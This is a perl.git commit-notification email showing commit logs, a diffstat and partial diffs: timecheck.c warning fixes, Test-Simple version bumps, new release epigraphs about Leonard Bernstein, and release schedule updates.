In perl.git, the branch smoke-me/jkeenan/timecheck-20181127 has been updated

<https://perl5.git.perl.org/perl.git/commitdiff/ae2addf622947abca8075a3c555b4b27312c70b2?hp=7caa8857e45c8b83983fb716160e5ac3b3aace34>

  discards  7caa8857e45c8b83983fb716160e5ac3b3aace34 (commit)
  discards  3e20e816f40a8ac1b189c032a213614056eaa98e (commit)
  discards  7c22db276cbb3efde9868fc656adf1c0c956a63e (commit)
- Log -----------------------------------------------------------------
commit ae2addf622947abca8075a3c555b4b27312c70b2
Author: H.Merijn Brand <h.m.br...@xs4all.nl>
Date:   Fri Dec 7 14:43:37 2018 +0100

    No need to convert int to long to int
    
    Beyond that, I agree with this branch
    
    Signed-off-by: James E Keenan <jkee...@cpan.org>

commit 0684d35ba0170aeec563f91838b8f72cc8f5b895
Author: James E Keenan <jkee...@cpan.org>
Date:   Tue Nov 27 22:15:22 2018 -0500

    No need to include 'values.h'.
    
    timecheck.c does not appear to use any thing from this file.  Linux
    documentation marks the interface as obsolete.  It's not found, e.g., on
    FreeBSD.

commit 0410ae10f9a0385f775494ca8cf04996556e638e
Author: James E Keenan <jkee...@cpan.org>
Date:   Tue Nov 27 16:12:45 2018 -0500

    Eliminate 4 build-time warnings in timecheck.c.
    
    This commit suppresses output like this:
    
    [Porting] 758 $ cc -O -o timecheck timecheck.c
    timecheck.c: In function ‘gm_check’:
    timecheck.c:37:36: warning: format ‘%ld’ expects argument of type ‘long 
int’, but argument 5 has type ‘int’ [-Wformat=]
          fprintf (stderr, "%3d:%s: %12ld-%02d-%02d %02d:%02d:%02d\n",
                                    ~~~~^
                                    %12d
    timecheck.c:39:3:
       tmp->tm_year + 1900, tmp->tm_mon + 1, tmp->tm_mday,
       ~~~~~~~~~~~~~~~~~~~
    timecheck.c: In function ‘lt_check’:
    timecheck.c:89:36: warning: format ‘%ld’ expects argument of type ‘long 
int’, but argument 5 has type ‘int’ [-Wformat=]
          fprintf (stderr, "%3d:%s: %12ld-%02d-%02d %02d:%02d:%02d\n",
                                    ~~~~^
                                    %12d
    timecheck.c:91:3:
       tmp->tm_year + 1900, tmp->tm_mon + 1, tmp->tm_mday,
       ~~~~~~~~~~~~~~~~~~~
    timecheck.c: In function ‘main’:
    timecheck.c:130:21: warning: implicit declaration of function ‘strcmp’ 
[-Wimplicit-function-declaration]
         if (argc > 1 && strcmp (argv[1], "-v") == 0) opt_v++;
                         ^~~~~~
    timecheck.c:139:32: warning: format ‘%ld’ expects argument of type ‘long 
int’, but argument 2 has type ‘int’ [-Wformat=]
         printf ("Sizeof time_t = %ld\n", (i = sizeof (time_t)));
                                  ~~^     ~~~~~~~~~~~~~~~~~~~~~
                                  %d

commit 2f6e5f01d8c1fff73a602ff319ec8a85c8c9b328
Author: James E Keenan <jkee...@cpan.org>
Date:   Tue Nov 27 16:07:35 2018 -0500

    Use more plausible argument for 'cd' in example.
    
    In our documentation we generally assume that the user is navigating
    from the top-level of the core distribution.  If so, then to compile a C
    program found in Porting/ the user would simply 'cd Porting' rather than
    'cd perl/Porting'.

-----------------------------------------------------------------------

Summary of changes:
 MANIFEST                                           |   3 +-
 Porting/Maintainers.pl                             |   2 +-
 Porting/epigraphs.pod                              |  38 +++
 Porting/release_schedule.pod                       |   2 +
 Porting/sync-with-cpan                             |   3 +-
 Porting/timecheck.c                                |   2 +-
 cpan/Test-Simple/lib/Test/Builder.pm               |   2 +-
 cpan/Test-Simple/lib/Test/Builder/Formatter.pm     |   2 +-
 cpan/Test-Simple/lib/Test/Builder/Module.pm        |   2 +-
 cpan/Test-Simple/lib/Test/Builder/Tester.pm        |   2 +-
 cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm  |   2 +-
 cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm      |   2 +-
 cpan/Test-Simple/lib/Test/More.pm                  |   2 +-
 cpan/Test-Simple/lib/Test/Simple.pm                |   2 +-
 cpan/Test-Simple/lib/Test/Tester.pm                |   2 +-
 cpan/Test-Simple/lib/Test/Tester/Capture.pm        |   2 +-
 cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm  |   2 +-
 cpan/Test-Simple/lib/Test/Tester/Delegate.pm       |   2 +-
 cpan/Test-Simple/lib/Test/use/ok.pm                |   2 +-
 cpan/Test-Simple/lib/Test2.pm                      |   2 +-
 cpan/Test-Simple/lib/Test2/API.pm                  |   2 +-
 cpan/Test-Simple/lib/Test2/API/Breakage.pm         |   2 +-
 cpan/Test-Simple/lib/Test2/API/Context.pm          |   2 +-
 cpan/Test-Simple/lib/Test2/API/Instance.pm         |   2 +-
 cpan/Test-Simple/lib/Test2/API/Stack.pm            |   2 +-
 cpan/Test-Simple/lib/Test2/Event.pm                |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Bail.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Diag.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Encoding.pm       |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Exception.pm      |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Fail.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Generic.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Note.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Ok.pm             |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Pass.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Plan.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Skip.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Subtest.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/Event/TAP/Version.pm    |   2 +-
 cpan/Test-Simple/lib/Test2/Event/V2.pm             |   2 +-
 cpan/Test-Simple/lib/Test2/Event/Waiting.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/About.pm     |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Amnesty.pm   |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Assert.pm    |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Control.pm   |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Error.pm     |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Hub.pm       |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Info.pm      |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Meta.pm      |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Parent.pm    |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Plan.pm      |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Render.pm    |   2 +-
 cpan/Test-Simple/lib/Test2/EventFacet/Trace.pm     |   2 +-
 cpan/Test-Simple/lib/Test2/Formatter.pm            |   2 +-
 cpan/Test-Simple/lib/Test2/Formatter/TAP.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/Hub.pm                  |   2 +-
 cpan/Test-Simple/lib/Test2/Hub/Interceptor.pm      |   2 +-
 .../lib/Test2/Hub/Interceptor/Terminator.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/Hub/Subtest.pm          |   2 +-
 cpan/Test-Simple/lib/Test2/IPC.pm                  |   5 +-
 cpan/Test-Simple/lib/Test2/IPC/Driver.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/IPC/Driver/Files.pm     |   2 +-
 cpan/Test-Simple/lib/Test2/Tools/Tiny.pm           |   2 +-
 cpan/Test-Simple/lib/Test2/Util.pm                 |   2 +-
 cpan/Test-Simple/lib/Test2/Util/ExternalMeta.pm    |   2 +-
 cpan/Test-Simple/lib/Test2/Util/Facets2Legacy.pm   |   2 +-
 cpan/Test-Simple/lib/Test2/Util/HashBase.pm        |   2 +-
 cpan/Test-Simple/lib/Test2/Util/Trace.pm           |   2 +-
 cpan/Test-Simple/lib/ok.pm                         |   2 +-
 dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS.pm      |   4 +-
 .../lib/ExtUtils/ParseXS/Constants.pm              |   2 +-
 .../lib/ExtUtils/ParseXS/CountLines.pm             |   2 +-
 dist/ExtUtils-ParseXS/lib/ExtUtils/ParseXS/Eval.pm |   2 +-
 .../lib/ExtUtils/ParseXS/Utilities.pm              |   2 +-
 dist/ExtUtils-ParseXS/t/002-more.t                 |   7 +-
 dist/Module-CoreList/Changes                       |   6 +
 dist/Module-CoreList/lib/Module/CoreList.pm        |  40 +++
 dist/Module-CoreList/lib/Module/CoreList/Utils.pm  |  14 +
 dist/Storable/t/CVE-2015-1592.inc                  | 261 ---------------
 dist/Storable/t/CVE-2015-1592.t                    |  25 +-
 ext/File-Find/t/taint.t                            |   2 +-
 ext/SDBM_File/pair.h                               |   5 +
 ext/SDBM_File/sdbm.h                               |   4 +
 feature.h                                          |   5 +
 inline.h                                           |   8 +-
 invlist_inline.h                                   |   5 +
 locale.c                                           |  13 +-
 pod/perl.pod                                       |   2 +
 pod/perl5263delta.pod                              | 201 ++++++++++++
 pod/perl5281delta.pod                              | 141 ++++++++
 pod/perldata.pod                                   |   6 +-
 pod/perldebguts.pod                                |  49 +--
 pod/perldelta.pod                                  |   4 +
 pod/perlhist.pod                                   |   4 +
 pod/perlop.pod                                     |   7 +-
 regcomp.c                                          |  39 ++-
 regcomp.h                                          |   6 +
 regcomp.sym                                        |  19 +-
 regen/feature.pl                                   |   5 +
 regnodes.h                                         |  18 +-
 t/op/heredoc.t                                     |   2 +-
 t/re/anyof.t                                       | 363 ++++++++++-----------
 t/re/reg_mesg.t                                    |   3 +
 t/test.pl                                          |   7 +-
 win32/pod.mak                                      |   8 +
 106 files changed, 859 insertions(+), 613 deletions(-)
 delete mode 100644 dist/Storable/t/CVE-2015-1592.inc
 create mode 100644 pod/perl5263delta.pod
 create mode 100644 pod/perl5281delta.pod

diff --git a/MANIFEST b/MANIFEST
index 3fdf274cf4..4276316980 100644
--- a/MANIFEST
+++ b/MANIFEST
@@ -3662,7 +3662,6 @@ dist/Storable/t/code.t                    See if Storable 
works
 dist/Storable/t/compat01.t             See if Storable works
 dist/Storable/t/compat06.t             See if Storable works
 dist/Storable/t/croak.t                        See if Storable works
-dist/Storable/t/CVE-2015-1592.inc      See if Storable works
 dist/Storable/t/CVE-2015-1592.t                See if Storable works
 dist/Storable/t/dclone.t               See if Storable works
 dist/Storable/t/destroy.t              Test Storable in global destructon
@@ -5002,7 +5001,9 @@ pod/perl5244delta.pod             Perl changes in version 
5.24.4
 pod/perl5260delta.pod          Perl changes in version 5.26.0
 pod/perl5261delta.pod          Perl changes in version 5.26.1
 pod/perl5262delta.pod          Perl changes in version 5.26.2
+pod/perl5263delta.pod          Perl changes in version 5.26.3
 pod/perl5280delta.pod          Perl changes in version 5.28.0
+pod/perl5281delta.pod          Perl changes in version 5.28.1
 pod/perl5290delta.pod          Perl changes in version 5.29.0
 pod/perl5291delta.pod          Perl changes in version 5.29.1
 pod/perl5292delta.pod          Perl changes in version 5.29.2
diff --git a/Porting/Maintainers.pl b/Porting/Maintainers.pl
index 0e4a45ae87..c6aafc0aea 100755
--- a/Porting/Maintainers.pl
+++ b/Porting/Maintainers.pl
@@ -1050,7 +1050,7 @@ use File::Glob qw(:case);
     },
 
     'Test::Simple' => {
-        'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302140.tar.gz',
+        'DISTRIBUTION' => 'EXODIST/Test-Simple-1.302141.tar.gz',
         'FILES'        => q[cpan/Test-Simple],
         'EXCLUDED'     => [
             qr{^examples/},
diff --git a/Porting/epigraphs.pod b/Porting/epigraphs.pod
index 8645f46436..29900c9882 100644
--- a/Porting/epigraphs.pod
+++ b/Porting/epigraphs.pod
@@ -146,6 +146,27 @@ L<Announced on 2018-06-26 by Sawyer 
X|http://nntp.perl.org/group/perl.perl5.port
 
   Courage is the only antidote for danger.
 
+=head2 v5.28.1 - Humphrey Burton, "Leonard Bernstein"
+
+L<Announced on 2018-11-29 by Steve 
Hay|http://nntp.perl.org/group/perl.perl5.porters/2018/11/msg252975.html>
+
+On August 25, 1983, Leonard Bernstein celebrated his sixty-fifth
+birthday in his birthplace, Lawrence, Massachusetts.  He had actually
+lived in the town for only a few weeks as a newborn baby, and had last
+visited it forty-nine years previously, in 1934, to get the name on his
+birth certificate altered from Louis to Leonard.  But the citizens of
+Lawrence proposed to dedicate an outdoor theater to him in their
+heritage park and to provide not one but two local orchestras--the
+Merrimack Valley Philharmonic to play excerpts from his own compositions
+and the Greater Boston Youth Symphony and Chorus to perform the "Ode to
+Joy" and accompany Bernstein himself reading (for the only time in his
+life) the text of A Lincoln Portrait.  So Bernstein turned down birthday
+invitations from Tanglewood and Central Park, New York, and the
+Hollywood Bowl and drove through the cheering if slightly bewildered
+crowds lining the streets of Lawrence in an open-topped 1928 Ford
+roadster, looking as homespun as James Stewart in Frank Capra's classic,
+It's a Wonderful Life.
+
 =head2 v5.28.0 - Martin Luther King, Jr., 1967
 
 L<Announced on 2018-06-22 by Sawyer 
X|http://nntp.perl.org/group/perl.perl5.porters/251240>
@@ -440,6 +461,23 @@ L<Announced on 2017-05-31 by Sawyer 
X|http://www.nntp.perl.org/group/perl.perl5.
 
     -- Bertrand Russell, The Road to Happiness
 
+=head2 v5.26.3 - Humphrey Burton, "Leonard Bernstein"
+
+L<Announced on 2018-11-29 by Steve 
Hay|http://nntp.perl.org/group/perl.perl5.porters/2018/11/msg252974.html>
+
+The origins of the name "Bernstein" are sometimes linked with the German
+noun Bernstein, which means "amber"--a translucent yellowish fossilized
+resin, used for ornaments and thought to possess magical properties.
+Leonard Bernstein would later call himself "Lenny Amber" when he needed
+a pseudonym for the popular piano transcriptions he published in his
+mid-twenties, and his business affairs would be organized within a
+company called Amberson Enterprises.  There are several towns and
+villages named Bernstein in Germany and Austria (where the pronunciation
+is BernSTINE), but Bernstein's parents came from Jewish ghettos in
+northwestern Ukraine, where the last syllable is usually pronounced
+BernSHTAYN or STEEN.  Sam insisted, however, on the mid-European style
+employed by the earlier immigrants.
+
 =head2 v5.26.2 - Desmond Morris, "Catwatching: The Essential Guide to Cat 
Behaviour"
 
 L<Announced on 2018-04-14 by Steve 
Hay|http://www.nntp.perl.org/group/perl.perl5.porters/2018/04/msg250440.html>
diff --git a/Porting/release_schedule.pod b/Porting/release_schedule.pod
index ec6f3a0779..e4d6a54b0f 100644
--- a/Porting/release_schedule.pod
+++ b/Porting/release_schedule.pod
@@ -24,12 +24,14 @@ Code freezes (which happen in the 5.29.X series)
 =head2 Perl 5.28
 
   2018-05-20  5.28.0 ✓        Sawyer X
+  2018-11-29  5.28.1 ✓        Steve Hay
 
 =head2 Perl 5.26
 
   2017-05-30  5.26.0 ✓        Sawyer X
   2017-09-22  5.26.1 ✓        Steve Hay
   2018-04-14  5.26.2 ✓        Steve Hay
+  2018-11-29  5.26.3 ✓        Steve Hay
 
 =head1 DEVELOPMENT RELEASE SCHEDULE
 
diff --git a/Porting/sync-with-cpan b/Porting/sync-with-cpan
index f81e14abae..bde97a4ac7 100755
--- a/Porting/sync-with-cpan
+++ b/Porting/sync-with-cpan
@@ -6,7 +6,8 @@ Porting/sync-with-cpan - Synchronize with CPAN distributions
 
 =head1 SYNOPSIS
 
-  perl Porting/sync-with-cpan <module>
+    sh ./Configure
+    perl Porting/sync-with-cpan <module>
 
 where <module> is the name it appears in the C<%Modules> hash
 of F<Porting/Maintainers.pl>
diff --git a/Porting/timecheck.c b/Porting/timecheck.c
index 6ed70075be..87a252d631 100644
--- a/Porting/timecheck.c
+++ b/Porting/timecheck.c
@@ -136,7 +136,7 @@ int main (int argc, char *argv[])
 
     opt_v++;
     printf ("======================\n");
-    printf ("Sizeof time_t = %ld\n", (long)(i = sizeof (time_t)));
+    printf ("Sizeof time_t = %d\n", (i = sizeof (time_t)));
     printf ("gmtime () boundaries:\n");
     gm_check (gm_max,    69, 0x7fffffff);
     gm_check (gm_min, -1900,         70);
diff --git a/cpan/Test-Simple/lib/Test/Builder.pm 
b/cpan/Test-Simple/lib/Test/Builder.pm
index bcc178ddd7..ee8944197f 100644
--- a/cpan/Test-Simple/lib/Test/Builder.pm
+++ b/cpan/Test-Simple/lib/Test/Builder.pm
@@ -4,7 +4,7 @@ use 5.006;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN {
     if( $] < 5.008 ) {
diff --git a/cpan/Test-Simple/lib/Test/Builder/Formatter.pm 
b/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
index 56dc3229aa..33ccaf897d 100644
--- a/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
+++ b/cpan/Test-Simple/lib/Test/Builder/Formatter.pm
@@ -2,7 +2,7 @@ package Test::Builder::Formatter;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::Formatter::TAP; our @ISA = qw(Test2::Formatter::TAP) }
 
diff --git a/cpan/Test-Simple/lib/Test/Builder/Module.pm 
b/cpan/Test-Simple/lib/Test/Builder/Module.pm
index cfa19b63ce..1efb6f7543 100644
--- a/cpan/Test-Simple/lib/Test/Builder/Module.pm
+++ b/cpan/Test-Simple/lib/Test/Builder/Module.pm
@@ -7,7 +7,7 @@ use Test::Builder;
 require Exporter;
 our @ISA = qw(Exporter);
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 =head1 NAME
diff --git a/cpan/Test-Simple/lib/Test/Builder/Tester.pm 
b/cpan/Test-Simple/lib/Test/Builder/Tester.pm
index 4dc192c1e6..4eb9bf9b89 100644
--- a/cpan/Test-Simple/lib/Test/Builder/Tester.pm
+++ b/cpan/Test-Simple/lib/Test/Builder/Tester.pm
@@ -1,7 +1,7 @@
 package Test::Builder::Tester;
 
 use strict;
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test::Builder;
 use Symbol;
diff --git a/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm 
b/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm
index 610f47d2e9..b4528473ec 100644
--- a/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm
+++ b/cpan/Test-Simple/lib/Test/Builder/Tester/Color.pm
@@ -1,7 +1,7 @@
 package Test::Builder::Tester::Color;
 
 use strict;
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 require Test::Builder::Tester;
 
diff --git a/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm 
b/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
index 84fafccb6a..d321f704f4 100644
--- a/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
+++ b/cpan/Test-Simple/lib/Test/Builder/TodoDiag.pm
@@ -2,7 +2,7 @@ package Test::Builder::TodoDiag;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::Event::Diag; our @ISA = qw(Test2::Event::Diag) }
 
diff --git a/cpan/Test-Simple/lib/Test/More.pm 
b/cpan/Test-Simple/lib/Test/More.pm
index 64aa814083..48eaf93077 100644
--- a/cpan/Test-Simple/lib/Test/More.pm
+++ b/cpan/Test-Simple/lib/Test/More.pm
@@ -17,7 +17,7 @@ sub _carp {
     return warn @_, " at $file line $line\n";
 }
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test::Builder::Module;
 our @ISA    = qw(Test::Builder::Module);
diff --git a/cpan/Test-Simple/lib/Test/Simple.pm 
b/cpan/Test-Simple/lib/Test/Simple.pm
index 469556dfa0..b44def7e18 100644
--- a/cpan/Test-Simple/lib/Test/Simple.pm
+++ b/cpan/Test-Simple/lib/Test/Simple.pm
@@ -4,7 +4,7 @@ use 5.006;
 
 use strict;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test::Builder::Module;
 our @ISA    = qw(Test::Builder::Module);
diff --git a/cpan/Test-Simple/lib/Test/Tester.pm 
b/cpan/Test-Simple/lib/Test/Tester.pm
index c2156699b9..2d0404a882 100644
--- a/cpan/Test-Simple/lib/Test/Tester.pm
+++ b/cpan/Test-Simple/lib/Test/Tester.pm
@@ -18,7 +18,7 @@ require Exporter;
 
 use vars qw( @ISA @EXPORT );
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 @EXPORT = qw( run_tests check_tests check_test cmp_results show_space );
 @ISA = qw( Exporter );
diff --git a/cpan/Test-Simple/lib/Test/Tester/Capture.pm 
b/cpan/Test-Simple/lib/Test/Tester/Capture.pm
index 4a3493e717..abc8c5b374 100644
--- a/cpan/Test-Simple/lib/Test/Tester/Capture.pm
+++ b/cpan/Test-Simple/lib/Test/Tester/Capture.pm
@@ -2,7 +2,7 @@ use strict;
 
 package Test::Tester::Capture;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test::Builder;
diff --git a/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm 
b/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
index d04dffe920..ed090c2a12 100644
--- a/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
+++ b/cpan/Test-Simple/lib/Test/Tester/CaptureRunner.pm
@@ -3,7 +3,7 @@ use strict;
 
 package Test::Tester::CaptureRunner;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test::Tester::Capture;
diff --git a/cpan/Test-Simple/lib/Test/Tester/Delegate.pm 
b/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
index 57db3e08c2..3e0c7a7535 100644
--- a/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
+++ b/cpan/Test-Simple/lib/Test/Tester/Delegate.pm
@@ -3,7 +3,7 @@ use warnings;
 
 package Test::Tester::Delegate;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Scalar::Util();
 
diff --git a/cpan/Test-Simple/lib/Test/use/ok.pm 
b/cpan/Test-Simple/lib/Test/use/ok.pm
index 4984dff654..35ac9b12df 100644
--- a/cpan/Test-Simple/lib/Test/use/ok.pm
+++ b/cpan/Test-Simple/lib/Test/use/ok.pm
@@ -1,7 +1,7 @@
 package Test::use::ok;
 use 5.005;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 __END__
diff --git a/cpan/Test-Simple/lib/Test2.pm b/cpan/Test-Simple/lib/Test2.pm
index 6211e54646..648a2e04b0 100644
--- a/cpan/Test-Simple/lib/Test2.pm
+++ b/cpan/Test-Simple/lib/Test2.pm
@@ -2,7 +2,7 @@ package Test2;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 1;
diff --git a/cpan/Test-Simple/lib/Test2/API.pm 
b/cpan/Test-Simple/lib/Test2/API.pm
index f164ef3498..5e176fc438 100644
--- a/cpan/Test-Simple/lib/Test2/API.pm
+++ b/cpan/Test-Simple/lib/Test2/API.pm
@@ -9,7 +9,7 @@ BEGIN {
     $ENV{TEST2_ACTIVE} = 1;
 }
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 my $INST;
diff --git a/cpan/Test-Simple/lib/Test2/API/Breakage.pm 
b/cpan/Test-Simple/lib/Test2/API/Breakage.pm
index 8da57ea438..6a2230be4e 100644
--- a/cpan/Test-Simple/lib/Test2/API/Breakage.pm
+++ b/cpan/Test-Simple/lib/Test2/API/Breakage.pm
@@ -2,7 +2,7 @@ package Test2::API::Breakage;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test2::Util qw/pkg_to_file/;
diff --git a/cpan/Test-Simple/lib/Test2/API/Context.pm 
b/cpan/Test-Simple/lib/Test2/API/Context.pm
index e18cdd46b2..b954626b79 100644
--- a/cpan/Test-Simple/lib/Test2/API/Context.pm
+++ b/cpan/Test-Simple/lib/Test2/API/Context.pm
@@ -2,7 +2,7 @@ package Test2::API::Context;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Carp qw/confess croak/;
diff --git a/cpan/Test-Simple/lib/Test2/API/Instance.pm 
b/cpan/Test-Simple/lib/Test2/API/Instance.pm
index 49273897bb..0764e604b7 100644
--- a/cpan/Test-Simple/lib/Test2/API/Instance.pm
+++ b/cpan/Test-Simple/lib/Test2/API/Instance.pm
@@ -2,7 +2,7 @@ package Test2::API::Instance;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 our @CARP_NOT = qw/Test2::API Test2::API::Instance Test2::IPC::Driver 
Test2::Formatter/;
diff --git a/cpan/Test-Simple/lib/Test2/API/Stack.pm 
b/cpan/Test-Simple/lib/Test2/API/Stack.pm
index 5e7231a33e..6739145c9c 100644
--- a/cpan/Test-Simple/lib/Test2/API/Stack.pm
+++ b/cpan/Test-Simple/lib/Test2/API/Stack.pm
@@ -2,7 +2,7 @@ package Test2::API::Stack;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 use Test2::Hub();
diff --git a/cpan/Test-Simple/lib/Test2/Event.pm 
b/cpan/Test-Simple/lib/Test2/Event.pm
index 0038b63e5a..70fa080feb 100644
--- a/cpan/Test-Simple/lib/Test2/Event.pm
+++ b/cpan/Test-Simple/lib/Test2/Event.pm
@@ -2,7 +2,7 @@ package Test2::Event;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Scalar::Util qw/blessed reftype/;
 use Carp qw/croak/;
diff --git a/cpan/Test-Simple/lib/Test2/Event/Bail.pm 
b/cpan/Test-Simple/lib/Test2/Event/Bail.pm
index b78b15cd67..89a0713507 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Bail.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Bail.pm
@@ -2,7 +2,7 @@ package Test2::Event::Bail;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Diag.pm 
b/cpan/Test-Simple/lib/Test2/Event/Diag.pm
index 55840e87f8..4ead7a251d 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Diag.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Diag.pm
@@ -2,7 +2,7 @@ package Test2::Event::Diag;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Encoding.pm 
b/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
index a3e6ed9f06..dd4364a97a 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Encoding.pm
@@ -2,7 +2,7 @@ package Test2::Event::Encoding;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Carp qw/croak/;
 
diff --git a/cpan/Test-Simple/lib/Test2/Event/Exception.pm 
b/cpan/Test-Simple/lib/Test2/Event/Exception.pm
index 2b0b471be8..307688d130 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Exception.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Exception.pm
@@ -2,7 +2,7 @@ package Test2::Event::Exception;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Fail.pm 
b/cpan/Test-Simple/lib/Test2/Event/Fail.pm
index 07a3954398..c6cf834279 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Fail.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Fail.pm
@@ -2,7 +2,7 @@ package Test2::Event::Fail;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 use Test2::EventFacet::Info;
 
diff --git a/cpan/Test-Simple/lib/Test2/Event/Generic.pm 
b/cpan/Test-Simple/lib/Test2/Event/Generic.pm
index dca3de06ed..9acd5f8115 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Generic.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Generic.pm
@@ -5,7 +5,7 @@ use warnings;
 use Carp qw/croak/;
 use Scalar::Util qw/reftype/;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
 use Test2::Util::HashBase;
diff --git a/cpan/Test-Simple/lib/Test2/Event/Note.pm 
b/cpan/Test-Simple/lib/Test2/Event/Note.pm
index e89b248d9a..6d77eb2a6a 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Note.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Note.pm
@@ -2,7 +2,7 @@ package Test2::Event::Note;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Ok.pm 
b/cpan/Test-Simple/lib/Test2/Event/Ok.pm
index ca79f20a34..c635bbbb26 100644
--- a/cpan/Test-Simple/lib/Test2/Event/Ok.pm
+++ b/cpan/Test-Simple/lib/Test2/Event/Ok.pm
@@ -2,7 +2,7 @@ package Test2::Event::Ok;
 use strict;
 use warnings;
 
-our $VERSION = '1.302140';
+our $VERSION = '1.302141';
 
 
 BEGIN { require Test2::Event; our @ISA = qw(Test2::Event) }
diff --git a/cpan/Test-Simple/lib/Test2/Event/Pass.pm 
